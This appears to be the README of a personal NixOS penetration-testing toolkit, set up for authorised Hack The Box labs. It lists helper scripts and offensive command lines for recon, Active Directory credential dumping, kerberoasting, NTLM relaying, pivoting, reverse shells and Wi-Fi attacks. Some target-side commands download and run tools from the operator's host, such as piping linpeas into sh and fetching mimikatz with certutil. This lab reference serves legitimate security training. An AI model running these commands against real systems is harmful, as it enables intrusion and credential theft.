# pentest — the offensive toolkit on this machine
Everything here is installed by `modules/features/pentest/`. Categories are
switched with `daemon.pentest.<category>.enable` in
`modules/hosts/laptop/configuration.nix`. Scope: authorised labs — HTB, CPTS.
## htb — the box you are on
htbup connect (picks the only profile), then
shows the tunnel IP and current target
htbdown disconnect
htbvpn list profiles in ~/.config/htb/vpn
htbvpn up lab_eu_free a specific profile (stops any other first)
htbvpn down htbvpn status
htbip your tunnel address
htbbox new prompt for name / ip / os / difficulty (gum)
htbbox new EscapeTwo 10.10.11.202 win medium sequel.htb dc01.sequel.htb
positional, ANY order — each arg is placed
by its shape (ip, os, difficulty, hostname,
else name). Flags -n -i -o -d -H still work.
htbbox use sauna switch box: $BOX, $BOXDIR, $TARGET, /etc/hosts
htbbox target what $TARGET points at right now
htbbox clear forget the target everywhere ($TARGET, $BOX,
/etc/hosts, prompt banner) — box files stay
htbbox set ip 10.10.11.6 new IP after a reset (re-points $TARGET)
htbbox host dc01.vintage.htb add names (-> /etc/hosts; Kerberos needs them)
htbbox ls boxes, newest first (* = current)
htbbox info [box] the box card: target, flags, creds, ports, notes
cd "$BOXDIR" jump to the current box (or: cd "$(htbbox path)")
Record as you go — it all lands in box.json, which every tool can read:
htbbox set ip 10.10.11.9 change a field (ip os difficulty status domain)
htbbox host dc01.sequel.htb add a hostname (re-points /etc/hosts)
htbbox cred sql_svc 'P@ss' mssql a credential (also appended to creds/creds.txt)
htbbox flag user <32-hex> record a flag; status follows (active→user→root)
htbbox note "WinRM open, fsmith in Remote Mgmt" a timestamped note
htbbox ports import open ports from the newest recon/*.xml
htbbox json [box] [key] raw box.json, or one key: htbbox json ip
~/htb/<box>/ holds:
box.json the manifest: ip, os, difficulty, hostnames, domain, status,
flags, creds, ports, notes — the single source of truth
writeup.md rendered once from the vault's daemon-sec-htb-post template
recon/ nmap, rustscan, masscan, dns (nmap -oA recon/x feeds `htbbox ports`)
enum/ per-service output creds/ hashes, passwords, tickets
loot/ files off the target exploit/ PoCs and what you wrote
serve/ files staged FOR the target (not $PAYLOADS, which is global)
casts/ terminal recordings
`htbbox new`/`use` also set $TARGET, so the toolkit points at the box at once.
Re-running `new` updates the fields you pass and keeps creds/flags/notes and
your writeup.md prose -- it never clobbers them.
## rec — record the session as write-up material
htbcast new session in the current box:
~/htb/<box>/casts/<box>session_<date-time>_<NN>.cast
no box set -> ~/htb/_termsessions/
termsession_<date-time>_<NN>.cast
htbcast -t force a termsession even with a box set
htbcast -n foothold name it yourself
htbcast -b sauna a box that is not the current one
htbcast ls [box|term] recordings, newest first, with durations
htbcast play <name> replay in the terminal
htbcast txt <name> plain-text transcript -> <name>.txt
htbcast gif <name> animated GIF (preview only, see below)
Exit the shell (or ctrl-d) to stop. Several at once is the normal case -- one
terminal scanning, another on the shell -- so run htbcast in as many
terminals as you like: each takes the next _NN, claimed atomically.
`txt` is the one to paste into your notes: a .cast is JSON lines of
{time, "o", bytes}, so the whole session is machine-readable.
Caveat: the website's terminal GIFs are written as specs, never recorded
(the website repo's AGENTS.md, "ASCII terminal clips") -- a raw session carries
typos, dead waits and a scrollback that disagrees with the prose. So
`htbcast gif` is for judging what to cut; the published clip is still
script/clips/specs/<name>.json.
htbbox is the ONE box/target tool. The old `htbtarget` and the dotfiles'
sqlite tracker (`htb-newbox`, `htb-list`, `htb-select`, `creds`, `flags`,
`findings`, `note`, `database`) did the same jobs and are gone; their data in
~/.pentest is left on disk, untouched.
$TARGET, $RHOST, $IP, $BOX and $BOXDIR are exported in every terminal.
Caveat: they refresh at each PROMPT. A shell already running a long command
keeps the old value until it returns. Open a new line, or `htbbox use <box>`.
Caveat: `nh os switch` regenerates /etc/hosts and DROPS the htbbox block.
Mid-box, re-run `htbbox use <box>` after any rebuild or Kerberos stops
resolving.
htbtime match the DC's clock (uses $TARGET)
htbtime off put normal time sync back
htbtime status are we holding a skew?
Caveat: a held skew makes TLS certificates look invalid, so `nix`, `git` and
HTTPS may fail while it is on. `htbtime off` fixes it; so does a reboot.
## recon — what is there
htbscan -sC -sV top 1000 on $TARGET → $BOXDIR/recon/quick
htbscan full -p- sweep, then -sC -sV on what is open
htbscan ports 22,80,445 just these htbscan udp top 100 UDP
each pass is -oA and feeds `htbbox ports` itself
nmap -sC -sV -oA nmap/initial $TARGET
nmap -p- --min-rate 10000 -oA nmap/all $TARGET
sudo nmap -sU --top-ports 100 $TARGET # UDP; needs root PATH, hence systemPackages
rustscan -a $TARGET -- -sC -sV
fscan -h $TARGET # all-in-one sweep
nxc smb $TARGET -u '' -p '' # null session
enum4linux-ng -A $TARGET
smbclient -L //$TARGET -N
snmp-check $TARGET
ldapsearch -x -H ldap://$TARGET -s base namingcontexts
snmpwalk -v2c -c public $TARGET # after onesixtyone finds the community
sslscan $TARGET:443 testssl.sh https://$TARGET
smtp-user-enum -m VRFY -U "$seclists/Usernames/cirt-default-usernames.txt" "$TARGET" 25
smtp-user-enum -m VRFY -u root "$TARGET" 25 # -u: ONE username; -U: wordlist
# This is cytopia's Python version: host and port are positional arguments.
# A wordlist without -U is parsed as the hostname (IDNA "label too long").
nmap -p25 --script smtp-enum-users "$TARGET" # alternative, server-dependent
telnet "$TARGET" 25 # manual: VRFY root, then QUIT
showmount -e "$TARGET" # NFS export enumeration
## ad — active directory
kerbrute userenum -d vintage.htb --dc $TARGET users.txt
nxc smb $TARGET -u user -p pass --shares --users --pass-pol
nxc ldap $TARGET -u user -p pass --bloodhound -c all --dns-server $TARGET
GetNPUsers.py vintage.htb/ -dc-ip $TARGET -usersfile users.txt # AS-REP
GetUserSPNs.py vintage.htb/user:pass -dc-ip $TARGET -request # kerberoast
secretsdump.py vintage.htb/user:pass@$TARGET
certipy find -u user@vintage.htb -p pass -dc-ip $TARGET -vulnerable
linWinPwn -t $TARGET -d vintage.htb -u user -p pass # drive most of the above
linWinPwn -t $TARGET -d vintage.htb -M ad_enum # one module
BloodHound: two viewers, two formats, NOT interchangeable.
rusthound-ce -d vintage.htb -u user@vintage.htb -p pass -c All -z
# -> CE format, for bloodhound-ce
bloodhound-python -u user -p pass -d vintage.htb -dc dc01.vintage.htb -c all
# -> LEGACY format, for bloodhound-legacy
bloodhound ce # postgres + neo4j + the CE API, then the URL
bloodhound creds # the generated admin password
bloodhound legacy # neo4j + the archived 4.3.1 GUI
bloodhound status bloodhound down
Feeding legacy JSON to CE (or the reverse) fails with an unhelpful parse
error. That is the usual way to lose an hour here. SharpHound CE lives in
$ad/SharpHound/SharpHound.exe.
bloodhound-legacy is an archived app on Electron 11 — nixpkgs dropped it for
that reason. Use it for your own lab data, nothing else.
printerbug.py vintage.htb/user:pass@$TARGET $(htbip) # coerce auth (MS-RPRN)
ntlmrelayx.py -t ldap://$TARGET --escalate-user user
evil-winrm -i $TARGET -u user -p pass
impacket's 70 scripts answer to both spellings: `secretsdump.py` and
`secretsdump`. Five did NOT get the bare name, because a real tool owns it —
reach for these instead:
impacket-net impacket-ping impacket-smbclient impacket-split
impacket-mimikatz (so it is not confused with mimikatz.exe)
Every script also has an `impacket-` form, so `impacket-secretsdump` works too.
impacket pick a script (fzf, with its --help as preview)
impacket --list all 70 names
impacket getST -h run one by name
## pivot — onto the next subnet
ligolo-ng first: it gives a real interface, so every tool works unchanged.
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
ligolo-proxy -selfcert # on this machine
# on the target, from $ligolo/<os>-<arch>/:
# ligolo-agent.exe -connect <you>:11601 -ignore-cert
# then in the proxy: session; start; and route the subnet:
sudo ip route add 172.16.1.0/24 dev ligolo
chisel server -p 8000 --reverse # fallback
# target: chisel.exe client <you>:8000 R:socks
ssh -D 1080 user@host # then proxychains4 <cmd>
proxychains4 nxc smb 172.16.1.5
/etc/proxychains.conf is generated by Nix (programs.proxychains) — editing it
by hand does not work on NixOS, so change pivot.nix instead.
## shells — catching one
revshell bash one-liner for $LHOST (else htbip) : 4444
revshell ps64 9001 base64 PowerShell, port 9001
revshell -c python ...and copy it revshell ls / all
revshell pick with gum
the payload is stdout; the listener to run
(rlwrap -cAr nc -lvnp …) is printed on stderr
## transfer — getting files across
payload-serve HTTP on your tunnel address, port 8000
payload-serve 80 ...on 80 (needs sudo: ports under 1024)
payload-serve --smb impacket smbserver, share name `share`
payload-serve --list what is in the tree
It refuses to start when the VPN is down rather than binding every interface,
and refuses an unprivileged port under 1024 rather than dying halfway.
# on the target (default port 8000)
certutil -urlcache -f http://$(htbip):8000/creds/mimikatz/x64/mimikatz.exe m.exe
iwr -uri http://$(htbip):8000/x.exe -outfile x.exe
wget http://$(htbip):8000/privesc/linux/linpeas.sh -O- | sh
The Linux binaries are statically linked and the scripts use /bin/sh, so they
run on a target that has none of this machine's libraries.
## paths — the arsenal (~/pentesting) and how to find it
Every binary is staged, pinned by hash, under `~/pentesting`, and a permanent
lowercase variable points at each part of it. Type `$potatoes`, not a path.
htbpaths every variable, where it points, how full
htbpaths potatoes just the path: cd "$(htbpaths potatoes)"
htbpaths find godpotato locate a tool + the URL payload-serve gives it
htbpaths tree ad a two-level tree of one area
eval "$(htbpaths env)" set the vars in a shell started before login
$pentesting the root (= $PAYLOADS) $wordlists (= $WORDLISTS)
$privesc $winprivesc $potatoes $linprivesc
$creds $mimikatz $ad $sharpcollection $sharp
$pivoting $ligolo $chisel $recon $nmapbin $fscan
$shells $webshells $scripts $exploits
$mytools ~/pentesting/local — YOURS, writable, never touched by Nix
What is where (newest sets, every OS/arch unless noted):
$potatoes God/Sigma/Dead/Coerced/Juicy/JuicyNG/Rogue/Local/Print*/Petit,
PrintSpoofer, RemotePotato0 (SeImpersonate → SYSTEM)
$winprivesc winPEASx64/x86/any, FullPowers.exe, PrivescCheck.ps1
$linprivesc linpeas, lse, pspy (amd64+arm64)
$creds mimikatz/{x64,Win32}/ (both builds), nanodump*, PPLBlade
$ad SharpHound CE (SharpHound/), Rubeus, Seatbelt, Certify,
Certipy.exe, bloodyAD.exe, rusthound-ce.exe, SharpSCCM,
Inveigh, KrbRelayEx/, kerbrute/ (ropnop, all arches)
$sharp the whole SharpCollection 4.7 x64; $sharpcollection = all frameworks
$ligolo ligolo-ng/<os>-<arch>/ligolo-agent[.exe] ($chisel same shape)
$fscan fscan/<os>-<arch>/fscan[.exe]
$nmapbin nmap/linux-<arch>/nmap (static) + nmap/windows/ (portable)
$shells RunasCs.exe, nc.exe/nc64.exe
$pivoting also socat/ (static, per arch) and plink-x64/x86.exe
$scripts ad/ (PowerView, PowerUp, PowerSploit, nishang),
printer/ (printerbug.py, CVE-2021-1675.py), privesc/ (EfsPotato.cs)
The whole tree rolls back with the system generation; `~/pentesting/local` is
the one writable spot and is never overwritten. `pentest-update [--apply]`
moves the pins (both _pkgs files) forward.
## crack — offline
hcmode the common -m numbers (kerberoast, NTLMv2, …)
hcmode kerb hcmode 13100 search every mode the installed hashcat knows
hashid hash.txt nth hash.txt haiti '<hash>' (haiti prints the -m too)
hashcat -m 13100 spns.txt $WORDLISTS/rockyou.txt # kerberoast TGS
hashcat -m 18200 asrep.txt $WORDLISTS/rockyou.txt # AS-REP
hashcat -m 1000 ntlm.txt $WORDLISTS/rockyou.txt # NTLM
john --wordlist=$WORDLISTS/rockyou.txt hash.txt
hydra -l user -P $WORDLISTS/rockyou.txt ssh://$TARGET
echo $WORDLISTS rockyou.txt, seclists/, nmap.lst, wfuzz/
## web
ffuf -u http://$TARGET/FUZZ -w $WORDLISTS/seclists/Discovery/Web-Content/raft-medium-directories.txt
feroxbuster -u http://$TARGET --depth 2
ffuf -u http://$TARGET -H 'Host: FUZZ.vintage.htb' -w subdomains.txt -fs 0 # vhosts
dmnfuzz vhost # vhosts, baseline auto-filtered ($TARGET + box domain)
dmnfuzz dns # AXFR then dnsx brute against the box's DNS (alias dnsfuzz)
dmnfuzz auto --add-hosts # vhosts -> htbbox host, then dir apex + each (stack exts, IIS lowercase)
dmnfuzz dir -X -- -fc 403 # -X: exts from Server/X-Powered-By; after -- goes to ffuf
# results -> $BOXDIR/recon/dmnfuzz-*.txt
nuclei -u http://$TARGET
sqlmap -u "http://$TARGET/?id=1" --batch --dbs
wpscan --url http://$TARGET --enumerate u
searchsploit apache 2.4
wafw00f http://$TARGET ghauri -u "http://$TARGET/?id=1" --dbs
interactsh-client OOB callback host for blind SSRF / XXE / RCE
burpsuite and zap are in the launcher (daemon.pentest.gui).
## dfir — forensics (off by default)
daemon.pentest.dfir.enable = true; # then: nh os switch
vol -f mem.raw windows.pslist
chainsaw hunt evtx/ --sigma sigma/ hayabusa csv-timeline -d evtx/
yara rules.yar ./sample capa ./sample
fls -r -o 2048 disk.img exiftool file.jpg
chntpw -l SAM # offline local accounts
## wifi — 802.11 and radio (off by default)
daemon.pentest.wireless.enable = true; # wifi
daemon.pentest.radio.enable = true; # SDR, bluetooth, RFID
airmon-ng check kill stop NetworkManager fighting you
airmon-ng start wlan1 -> wlan1mon
airodump-ng wlan1mon survey
wifite --kill the whole attack loop, guided
hcxdumptool -i wlan1mon -w pmkid.pcapng PMKID, no client needed
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
hashcat -m 22000 hash.hc22000 $WORDLISTS/rockyou.txt
reaver -i wlan1mon -b <bssid> -K 1 WPS pixie-dust
kismet -c wlan1mon passive, logs everything
hackrf_info is the SDR there
rtl_433 -F json the 433 MHz device zoo
gqrx look at the spectrum
ubertooth-btle -f follow a BLE connection
pm3 proxmark3 console
nfc-list what is on the reader
## db — databases you found listening (off by default)
daemon.pentest.database.enable = true;
mysql -h "$TARGET" -u root -p mycli for completion/history
tsql -H "$TARGET" -p 1433 -U sa MSSQL; sqlcmd also works
pgcli -h "$TARGET" -U postgres psql comes with bloodhound
redis-cli -h "$TARGET" then: INFO, KEYS *, CONFIG GET dir
usql mysql://user:pass@"$TARGET"/db one client, any URL
## nix — maintaining this
nh os switch rebuild and activate
nix develop ~/NixDaemon#pentest the whole kit, portable, no install
nix develop ~/NixDaemon#pentest-ad one category, same way
nix flake check every category's smoke test
pentest-update report newer pins (changes nothing)
pentest-update --apply rewrite the revs and hashes
Every category is listed in `modules/hosts/laptop/configuration.nix`, so the
whole toolkit is toggled from one block. On by default:
core wordlists python recon ad web pivot crack shells
bloodhound vpn time htb payloads update gui
Off until you flip it to `true` there:
dfir reversing wireless radio hardware c2 database cloud osint social mobile
## OSINT — public-source collection
Enabled on the laptop with `daemon.pentest.osint.enable = true`.
| Task | Commands |
| --- | --- |
| Username discovery | `sherlock`, `maigret` |
| Email accounts and breach lookups | `holehe`, `socialscan`, `h8mail` |
| Collection frameworks | `theHarvester`, `recon-ng`, `recon-cli`, `sn0int`, `bbot` |
| Internet service indexes | `shodan`, `uncover` (configure provider keys locally) |
| Domain registration, networks and lookalikes | `whois`, `asnmap`, `dnstwist`, `fierce` |
| Historical URLs and crawling | `assetfinder`, `waybackurls`, `gau`, `waymore`, `urlfinder`, `photon` |
| Published file metadata | `exiftool`, `exifprobe`, `exifgrep` |
| Repository secrets | `gitleaks`, `trufflehog` |
Start with `sherlock --help`, `maigret --help`, or `shodan --help`.
For Shodan setup, follow https://help.shodan.io/command-line-interface/0-installation.
API keys belong in local tool configuration or the secret store, never in the flake.
Subdomain and infrastructure tools `subfinder` and `amass` are already installed
by the enabled recon category. Tool versions follow `flake.lock`.